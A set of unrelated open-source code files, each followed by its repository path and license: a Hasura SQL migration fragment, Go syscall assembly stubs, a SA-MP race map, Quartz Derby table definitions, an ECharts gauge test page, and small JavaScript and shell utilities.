'is_insertable', (is_insertable_into::boolean OR is_trigger_insertable_into::boolean) ) as view_info from information_schema.views v ) views on ( tables.table_schema = views.table_schema AND tables.table_name = views.table_name ) ); CREATE OR REPLACE VIEW hdb_catalog.hdb_function_info_agg AS ( SELECT function_name, function_schema, row_to_json ( ( SELECT e FROM ( SELECT has_variadic, function_type, return_type_schema, return_type_name, return_type_type, returns_set, input_arg_types, input_arg_names, exists( SELECT 1 FROM information_schema.tables WHERE table_schema = return_type_schema AND table_name = return_type_name ) AS returns_table ) AS e ) ) AS "function_info" FROM hdb_catalog.hdb_function_agg );
SQL
5
gh-oss-contributor/graphql-engine-1
server/src-rsr/migrations/13_to_14.sql
[ "Apache-2.0", "MIT" ]
// Copyright 2021 The Go Authors. All rights reserved. // Use of this source code is governed by a BSD-style // license that can be found in the LICENSE file. //go:build (freebsd || netbsd || openbsd) && gc // +build freebsd netbsd openbsd // +build gc #include "textflag.h" // System call support for 386 BSD // Just jump to package syscall's implementation for all these functions. // The runtime may know about them. TEXT ·Syscall(SB),NOSPLIT,$0-28 JMP syscall·Syscall(SB) TEXT ·Syscall6(SB),NOSPLIT,$0-40 JMP syscall·Syscall6(SB) TEXT ·Syscall9(SB),NOSPLIT,$0-52 JMP syscall·Syscall9(SB) TEXT ·RawSyscall(SB),NOSPLIT,$0-28 JMP syscall·RawSyscall(SB) TEXT ·RawSyscall6(SB),NOSPLIT,$0-40 JMP syscall·RawSyscall6(SB)
GAS
2
fuxiuyin/blob-csi-driver
vendor/golang.org/x/sys/unix/asm_bsd_386.s
[ "Apache-2.0" ]
// Copyright 2006-2015 Las Venturas Playground. All rights reserved. // Use of this source code is governed by the GPLv2 license, a copy of which can // be found in the LICENSE file. /** Las Venturas Playground v3.0 - Highjump Map This map was created by LastTRace - LVP Mapper 08/05/2010 - Added by Jay **/ #define MAP21 21 map_create(MAP21) { map_set_id(MAP21); map_set_name("HighJump"); map_set_spawn(226.0556, -1771.9625, 1708.3405, 269.1887); map_set_checkpoint(2603.1267,-1756.5092,294.8684); map_set_max_players(10); map_add_object(18450,2256.546,-1762.255,281.167,0.0,36.096,0.0); map_add_object(18450,2193.173,-1762.305,327.332,0.0,36.096,0.0); map_add_object(18450,2129.825,-1762.274,373.535,0.0,36.096,0.0); map_add_object(18450,2065.474,-1762.264,420.489,0.0,36.096,0.0); map_add_object(18450,2001.031,-1762.269,467.466,0.0,36.096,0.0); map_add_object(18450,1936.560,-1762.270,514.485,0.0,36.096,0.0); map_add_object(18450,1872.440,-1762.262,561.244,0.0,36.096,0.0); map_add_object(18450,1808.418,-1762.290,607.931,0.0,36.096,0.0); map_add_object(18450,1744.181,-1762.308,654.792,0.0,36.096,0.0); map_add_object(18450,1679.846,-1762.319,701.735,0.0,36.096,0.0); map_add_object(18450,1616.031,-1762.318,748.289,0.0,36.096,0.0); map_add_object(18450,1551.824,-1762.306,795.103,0.0,36.096,0.0); map_add_object(18450,1487.974,-1762.283,841.667,0.0,36.096,0.0); map_add_object(18450,1423.698,-1762.290,888.538,0.0,36.096,0.0); map_add_object(18450,1359.201,-1762.289,935.586,0.0,36.096,0.0); map_add_object(18450,2320.446,-1762.251,234.562,0.0,36.096,0.0); map_add_object(18450,1294.695,-1762.286,982.623,0.0,36.096,0.0); map_add_object(18450,1230.595,-1762.289,1029.374,0.0,36.096,0.0); map_add_object(18450,1166.358,-1762.307,1076.227,0.0,36.096,0.0); map_add_object(18450,1101.921,-1762.291,1123.222,0.0,36.096,0.0); map_add_object(18450,1037.612,-1762.292,1170.123,0.0,36.096,0.0); map_add_object(18450,973.097,-1762.297,1217.193,0.0,36.096,0.0); map_add_object(18450,910.319,-1762.301,1262.972,0.0,36.096,0.0); map_add_object(18450,845.821,-1762.306,1310.011,0.0,36.096,0.0); map_add_object(18450,781.679,-1762.313,1356.801,0.0,36.096,0.0); map_add_object(18450,717.823,-1762.305,1403.379,0.0,36.096,0.0); map_add_object(18450,653.586,-1762.300,1450.227,0.0,36.096,0.0); map_add_object(18450,589.285,-1762.306,1497.115,0.0,36.096,0.0); map_add_object(18450,525.026,-1762.305,1543.982,0.0,36.096,0.0); map_add_object(18450,460.615,-1762.292,1590.953,0.0,36.096,0.0); map_add_object(18450,396.909,-1762.281,1637.414,0.0,36.096,0.0); map_add_object(18450,333.308,-1762.288,1683.793,0.0,36.096,0.0); map_add_object(8040,261.300,-1763.252,1708.379,0.0,0.0,0.0); map_add_object(7191,244.141,-1781.483,1711.138,0.0,0.0,-90.000); map_add_object(7191,278.782,-1781.467,1711.088,0.0,0.0,-90.000); map_add_object(967,300.127,-1771.444,1707.513,0.0,0.0,90.000); map_add_object(16500,300.808,-1778.907,1711.084,0.0,0.0,0.0); map_add_object(16500,300.842,-1775.185,1711.083,0.0,0.0,-0.859); map_add_object(2714,222.074,-1763.283,1712.187,0.0,0.0,90.000); map_add_object(3517,241.705,-1763.148,1718.760,0.0,0.0,0.0); map_add_object(3517,280.434,-1763.332,1718.860,0.0,0.0,0.0); map_add_object(3517,251.599,-1763.259,1718.660,0.0,0.0,0.0); map_add_object(3517,261.483,-1763.181,1718.785,0.0,0.0,0.0); map_add_object(3517,270.904,-1763.222,1718.885,0.0,0.0,0.0); map_add_object(1655,2298.932,-1757.899,254.232,-12.032,0.0,-90.000); map_add_object(1655,2298.946,-1766.547,254.239,-12.032,0.0,-90.000); map_add_object(1655,2306.760,-1757.907,257.354,9.454,0.0,-90.000); map_add_object(1655,2306.753,-1766.575,257.354,9.454,0.0,-90.000); map_add_object(1655,2295.450,-1757.908,254.243,-34.377,0.0,-90.000); map_add_object(1655,2295.063,-1766.520,254.328,-35.237,0.0,-90.000); map_add_object(8378,2885.399,-1789.031,9.815,-91.960,0.859,83.047); map_add_object(8378,2903.149,-1791.781,10.073,90.241,6.016,75.312); map_add_object(8378,2911.890,-1792.611,20.076,0.0,0.859,80.469); map_add_object(8378,2895.535,-1722.640,10.028,90.241,1.719,258.750); map_add_object(8378,2914.331,-1725.710,10.040,-90.241,0.0,-100.391); map_add_object(8378,2923.351,-1727.813,19.686,0.0,0.0,79.609); map_add_object(2780,2309.038,-1753.870,258.421,0.0,0.0,0.0); map_add_object(2780,2309.485,-1770.437,258.860,0.0,0.0,0.0); return 1; }
PAWN
3
EPIC-striker/playground
pawn/Resources/Maps/MapZones/Jumps/HighJump.pwn
[ "MIT" ]
const A = () => ( <div> <p>A Component</p> /* Test */ </div> ) export default A
JavaScript
3
blomqma/next.js
test/integration/eslint/eslint-ignore/components/a.js
[ "MIT" ]
-- -- Apache Derby scripts by Steve Stewart. -- Based on Srinivas Venkatarangaiah's file for Cloudscape -- -- In your Quartz properties file, you'll need to set -- org.quartz.jobStore.driverDelegateClass = org.quartz.impl.jdbcjobstore.CloudscapeDelegate -- -- Known to work with Apache Derby 10.0.2.1 -- create table qrtz_job_details ( sched_name varchar(120) not null, job_name varchar(200) not null, job_group varchar(200) not null, description varchar(250) , job_class_name varchar(250) not null, is_durable varchar(5) not null, is_nonconcurrent varchar(5) not null, is_update_data varchar(5) not null, requests_recovery varchar(5) not null, job_data blob, primary key (sched_name,job_name,job_group) ); create table qrtz_triggers ( sched_name varchar(120) not null, trigger_name varchar(200) not null, trigger_group varchar(200) not null, job_name varchar(200) not null, job_group varchar(200) not null, description varchar(250) , next_fire_time bigint, prev_fire_time bigint, priority integer, trigger_state varchar(16) not null, trigger_type varchar(8) not null, start_time bigint not null, end_time bigint, calendar_name varchar(200), misfire_instr smallint, job_data blob, primary key (sched_name,trigger_name,trigger_group), foreign key (sched_name,job_name,job_group) references qrtz_job_details(sched_name,job_name,job_group) ); create table qrtz_simple_triggers ( sched_name varchar(120) not null, trigger_name varchar(200) not null, trigger_group varchar(200) not null, repeat_count bigint not null, repeat_interval bigint not null, times_triggered bigint not null, primary key (sched_name,trigger_name,trigger_group), foreign key (sched_name,trigger_name,trigger_group) references qrtz_triggers(sched_name,trigger_name,trigger_group) ); create table qrtz_cron_triggers ( sched_name varchar(120) not null, trigger_name varchar(200) not null, trigger_group varchar(200) not null, cron_expression varchar(120) not null, time_zone_id varchar(80), primary key (sched_name,trigger_name,trigger_group), foreign key (sched_name,trigger_name,trigger_group) references qrtz_triggers(sched_name,trigger_name,trigger_group) ); create table qrtz_simprop_triggers ( sched_name varchar(120) not null, trigger_name varchar(200) not null, trigger_group varchar(200) not null, str_prop_1 varchar(512), str_prop_2 varchar(512), str_prop_3 varchar(512), int_prop_1 int, int_prop_2 int, long_prop_1 bigint, long_prop_2 bigint, dec_prop_1 numeric(13,4), dec_prop_2 numeric(13,4), bool_prop_1 varchar(5), bool_prop_2 varchar(5), primary key (sched_name,trigger_name,trigger_group), foreign key (sched_name,trigger_name,trigger_group) references qrtz_triggers(sched_name,trigger_name,trigger_group) ); create table qrtz_blob_triggers ( sched_name varchar(120) not null, trigger_name varchar(200) not null, trigger_group varchar(200) not null, blob_data blob , primary key (sched_name,trigger_name,trigger_group), foreign key (sched_name,trigger_name,trigger_group) references qrtz_triggers(sched_name,trigger_name,trigger_group) ); create table qrtz_calendars ( sched_name varchar(120) not null, calendar_name varchar(200) not null, calendar blob not null, primary key (sched_name,calendar_name) ); create table qrtz_paused_trigger_grps ( sched_name varchar(120) not null, trigger_group varchar(200) not null, primary key (sched_name,trigger_group) ); create table qrtz_fired_triggers ( sched_name varchar(120) not null, entry_id varchar(95) not null, trigger_name varchar(200) not null, trigger_group varchar(200) not null, instance_name varchar(200) not null, fired_time bigint not null, sched_time bigint not null, priority integer not null, state varchar(16) not null, job_name varchar(200), job_group varchar(200), is_nonconcurrent varchar(5), requests_recovery varchar(5), primary key (sched_name,entry_id) ); create table qrtz_scheduler_state ( sched_name varchar(120) not null, instance_name varchar(200) not null, last_checkin_time bigint not null, checkin_interval bigint not null, primary key (sched_name,instance_name) ); create table qrtz_locks ( sched_name varchar(120) not null, lock_name varchar(40) not null, primary key (sched_name,lock_name) ); commit;
SQL
4
Evan43789596/spring-boot-demo
spring-boot-demo-task-quartz/init/dbTables/tables_derby_previous.sql
[ "MIT" ]
var css = require('css'); const { isEmpty } = require('lodash'); const visit = require('unist-util-visit'); const { commentToData } = require('../comment-to-data'); function visitComments(node, cb) { node.rules.forEach(rule => { if (rule.type === 'rule') { visitDeclarations(rule.declarations, cb); } else if (rule.type === 'comment') { cb(rule.comment); } else if (rule.type === 'media') { visitComments(rule, cb); } }); } function visitDeclarations(declarations, cb) { declarations.forEach(dec => { if (dec.type === 'comment') { cb(dec.comment); } }); } function plugin() { return transformer; function transformer(tree, file) { if (isEmpty(file.data)) file.data = {}; visit(tree, { type: 'element', tagName: 'style' }, styleVisitor); function styleVisitor(node) { visit(node, 'text', cssVisitor); } function cssVisitor(node) { const ast = css.parse(node.value); visitComments(ast.stylesheet, comment => commentToData(file, comment.trim()) ); } } } module.exports = plugin;
JavaScript
3
fcastillo-serempre/freeCodeCamp
curriculum/test/utils/plugins/get-css-comments.js
[ "BSD-3-Clause" ]
<!DOCTYPE html> <!-- Licensed to the Apache Software Foundation (ASF) under one or more contributor license agreements. See the NOTICE file distributed with this work for additional information regarding copyright ownership. The ASF licenses this file to you under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. --> <html> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1" /> <script src="lib/simpleRequire.js"></script> <script src="lib/config.js"></script> <script src="lib/jquery.min.js"></script> <script src="lib/facePrint.js"></script> <script src="lib/testHelper.js"></script> <!-- <script src="ut/lib/canteen.js"></script> --> <link rel="stylesheet" href="lib/reset.css" /> </head> <body> <style> </style> <div id="main0"></div> <div id="main1"></div> <div id="main2"></div> <div id="main3"></div> <div id="main4"></div> <div id="main5"></div> <script> require(['echarts'/*, 'map/js/china' */], function (echarts) { var option = { tooltip: { formatter: '{a} <br/>{b} : {c}%' }, toolbox: { feature: { restore: {}, saveAsImage: {} } }, series: [ { name: '业务指标', type: 'gauge', detail: {formatter: '{value}%'}, data: [{value: 58.46, name: '完成率'}] } ] }; var chart = testHelper.create(echarts, 'main0', { title: [ 'The default value of distance and length', 'splitLine.distance: 10, splitLine.length: 10', 'axisTick.distance: 10, axisTick.length: 6', 'axisLabel.distance: 15' ], option: option // height: 1200, // buttons: [{text: 'btn-txt', onclick: function () {}}], // recordCanvas: true, }); var option1 = { tooltip: { formatter: '{a} <br/>{b} : {c}%' }, toolbox: { feature: { restore: {}, saveAsImage: {} } }, series: [ { name: '业务指标', type: 'gauge', progress: { show: true, width: 18 }, axisLine: { lineStyle: { width: 18 } }, axisTick: { show: false }, splitLine: { length: 15, lineStyle: { width: 2, color: '#999' } }, axisLabel: { distance: 25, color: '#999', fontSize: 20 }, anchor: { show: true, showAbove: true, size: 25, itemStyle: { borderWidth: 10 } }, title: { show: false }, detail: { fontSize: 50, offsetCenter: [0, '75%'], }, data: [{value: 70, name: '完成率'}] } ] }; var chart1 = testHelper.create(echarts, 'main1', { title: [ 'splitLine.distance: 10, splitLine.length: 15', 'axisLabel.distance: 25' ], option: option1, height: 890, // buttons: [{text: 'btn-txt', onclick: function () {}}], // recordCanvas: true, }); var option2 = { tooltip: { formatter: '{a} <br/>{b} : {c}%' }, toolbox: { feature: { restore: {}, saveAsImage: {} } }, series: [ { name: '业务指标', type: 'gauge', axisLine: { lineStyle: { width: 30, color: [ [0.3, '#67e0e3'], [0.7, '#37a2da'], [1, '#fd666d'] ] } }, pointer: { itemStyle: { color: 'auto' } }, axisTick: { distance: -30, lineStyle: { color: '#fff' } }, splitLine: { length: 30, distance: -30, lineStyle: { color: '#fff', width: 2 } }, axisLabel: { color: 'auto', distance: 35, fontSize: 20 }, detail: { formatter: '{value}%', color: 'auto' }, data: [{value: 70, name: '完成率'}] } ] }; var chart2 = testHelper.create(echarts, 'main2', { title: [ 'splitLine.distance: -30, splitLine.length: 30', 'axisTick.distance: -30, axisTick.length: 6', 'axisLabel.distance: 35' ], option: option2, height: 890, // buttons: [{text: 'btn-txt', onclick: function () {}}], // recordCanvas: true, }); setInterval(function () { option2.series[0].data[0].value = (Math.random() * 100).toFixed(2) - 0; chart2.setOption(option2, true); }, 2000); var option3 = { tooltip: { formatter: '{a} <br/>{b} : {c}%' }, toolbox: { feature: { restore: {}, saveAsImage: {} } }, series: [ { name: '学生成绩', type: 'gauge', startAngle: 180, endAngle: 0, min: 0, max: 1, splitNumber: 8, axisLine: { lineStyle: { width: 5, color: [ [0.25, '#FF6E76'], [0.5, '#FDDD60'], [0.75, '#58D9F9'], [1, '#7CFFB2'], ] } }, pointer: { length: '80%', itemStyle: { color: 'auto' } }, axisTick: { length: 15, lineStyle: { color: 'auto' } }, splitLine: { length: 20, lineStyle: { color: 'auto', width: 5 } }, axisLabel: { color: '#464646', fontSize: 20, distance: -60, formatter: function(value) { if (value === 0.875) { return '优' } else if (value === 0.625) { return '中' } else if (value === 0.375) { return '良' } else if (value === 0.125) { return '差' } } }, title: { offsetCenter: [0, '-50%'], fontSize: 40 }, detail: { fontSize: 50, offsetCenter: [0, '-30%'], formatter: function(value) { return value * 100 + '%'; }, color: 'auto' }, data: [{value: 0.75, name: '成绩评定'}] } ] }; var chart3 = testHelper.create(echarts, 'main3', { title: [ 'splitLine.distance: -30, splitLine.length: 30', 'axisTick.distance: -30, axisTick.length: 6', 'axisLabel.distance: 35' ], option: option3, height: 890, // buttons: [{text: 'btn-txt', onclick: function () {}}], // recordCanvas: true, }); var option4 = { backgroundColor: '#fff', tooltip: { formatter: '{a} <br/>{b} : {c}%' }, toolbox: { feature: { restore: {}, saveAsImage: {} } }, series: [ { name: '速度仪表盘', type: 'gauge', startAngle: 180, endAngle: 0, min: 0, max: 240, splitNumber: 12, itemStyle: { color: '#58D9F9', shadowColor: 'rgba(0,138,255,0.45)', shadowBlur: 10, shadowOffsetX: 2, shadowOffsetY: 2 }, progress: { show: true, roundCap: true, width: 18 }, pointer: { icon: 'path://M2090.36389,615.30999 L2090.36389,615.30999 C2091.48372,615.30999 2092.40383,616.194028 2092.44859,617.312956 L2096.90698,728.755929 C2097.05155,732.369577 2094.2393,735.416212 2090.62566,735.56078 C2090.53845,735.564269 2090.45117,735.566014 2090.36389,735.566014 L2090.36389,735.566014 C2086.74736,735.566014 2083.81557,732.63423 2083.81557,729.017692 C2083.81557,728.930412 2083.81732,728.84314 2083.82081,728.755929 L2088.2792,617.312956 C2088.32396,616.194028 2089.24407,615.30999 2090.36389,615.30999 Z', length: '70%', width: 14, offsetCenter: [0, '5%'] }, axisLine: { roundCap: true, lineStyle: { width: 18 } }, axisTick: { splitNumber: 2 }, splitLine: { length: 15, lineStyle: { width: 2, color: '#999' } }, axisLabel: { distance: 25, color: '#999', fontSize: 20 }, title: { show: false }, detail: { backgroundColor: '#fff', borderColor: '#999', borderWidth: 2, width: '60%', lineHeight: 50, height: '15%', borderRadius: 10, offsetCenter: [0, '35%'], formatter: function(value) { return '{value|' + value.toFixed(0) + '}{unit|km/h}'; }, rich: { value: { fontSize: 50, fontWeight: 'bolder', color: '#777' }, unit: { fontSize: 20, color: '#999', padding: [0, 0, 15, 6] }, } }, data: [{value: 100, name: 'km/h'}] } ] }; var chart4 = testHelper.create(echarts, 'main4', { title: [ 'splitLine.distance: 10, splitLine.length: 15', 'axisLabel.distance: 25' ], option: option4, height: 890, // buttons: [{text: 'btn-txt', onclick: function () {}}], // recordCanvas: true, }); var option5 = { tooltip: { formatter: '{a} <br/>{b} : {c}%' }, toolbox: { feature: { restore: {}, saveAsImage: {} } }, series: [ { name: '业务指标', type: 'gauge', min: 0, max: 100, splitNumber: 10, radius: '80%', axisLine: { lineStyle: { color: [[1, '#f00']], width: 2 } }, splitLine: { distance: -17, length: 15, lineStyle: { color: '#f00' } }, axisTick: { distance: -12, length: 10, lineStyle: { color: '#f00' } }, axisLabel: { distance: -50, color: '#f00', fontSize: 25 }, anchor: { show: true, size: 20, itemStyle: { borderColor: '#000', borderWidth: 2 } }, pointer: { offsetCenter: [0, '10%'], icon: 'path://M2090.36389,615.30999 L2090.36389,615.30999 C2091.48372,615.30999 2092.40383,616.194028 2092.44859,617.312956 L2096.90698,728.755929 C2097.05155,732.369577 2094.2393,735.416212 2090.62566,735.56078 C2090.53845,735.564269 2090.45117,735.566014 2090.36389,735.566014 L2090.36389,735.566014 C2086.74736,735.566014 2083.81557,732.63423 2083.81557,729.017692 C2083.81557,728.930412 2083.81732,728.84314 2083.82081,728.755929 L2088.2792,617.312956 C2088.32396,616.194028 2089.24407,615.30999 2090.36389,615.30999 Z', length: '115%', itemStyle: { color: '#000' } }, title: { offsetCenter: [0, '-50%'] }, data: [{value: 58.46, name: 'PLP低压计'}] }, { name: '业务指标', type: 'gauge', min: 0, max: 60, splitNumber: 6, axisLine: { lineStyle: { color: [[1, '#000']], width: 2 } }, splitLine: { distance: 0, length: 15 }, axisTick: { distance: 0, length: 10 }, axisLabel: { distance: 10, fontSize: 25, color: '#000' }, pointer: { show: false }, title: { show: false }, anchor: { show: true, size: 14, itemStyle: { color: '#000' // borderColor: '#000', // borderWidth: 2 } }, detail: { show: false // formatter: '{value}%' }, data: [{value: 58.46, name: '完成率'}] } ] }; var chart5 = testHelper.create(echarts, 'main5', { title: [ 'Multimeter' ], option: option5, height: 890, // buttons: [{text: 'btn-txt', onclick: function () {}}], // recordCanvas: true, }); setInterval(function () { option5.series[0].data[0].value = (Math.random() * 100).toFixed(2) - 0; chart5.setOption(option5, true); }, 2000); }); </script> </body> </html>
HTML
4
DominiqueDeCordova/echarts
test/gauge-distance.html
[ "Apache-2.0" ]
#!/bin/sh lflag=0 while getopts 'lh' OPTION do case $OPTION in l) lflag=1 ;; h) echo "Usage: [-l]" echo " -l: use mapping xml files in local CMSSW area" exit ;; esac done if [ ${lflag} -eq 0 ] then echo "Setting up sqlite_file:l1config.db with xml files from $CMSSW_RELEASE_BASE" cmscond_bootstrap_detector -D L1T -f $CMSSW_RELEASE_BASE/src/CondTools/L1Trigger/test/dbconfiguration.xml -b $CMSSW_RELEASE_BASE else echo "Setting up sqlite_file:l1config.db with xml files from $CMSSW_BASE" cmscond_bootstrap_detector -D L1T -f $CMSSW_BASE/src/CondTools/L1Trigger/test/dbconfiguration.xml -b $CMSSW_BASE fi exit
DIGITAL Command Language
4
ckamtsikis/cmssw
CondTools/L1Trigger/test/bootstrap.com
[ "Apache-2.0" ]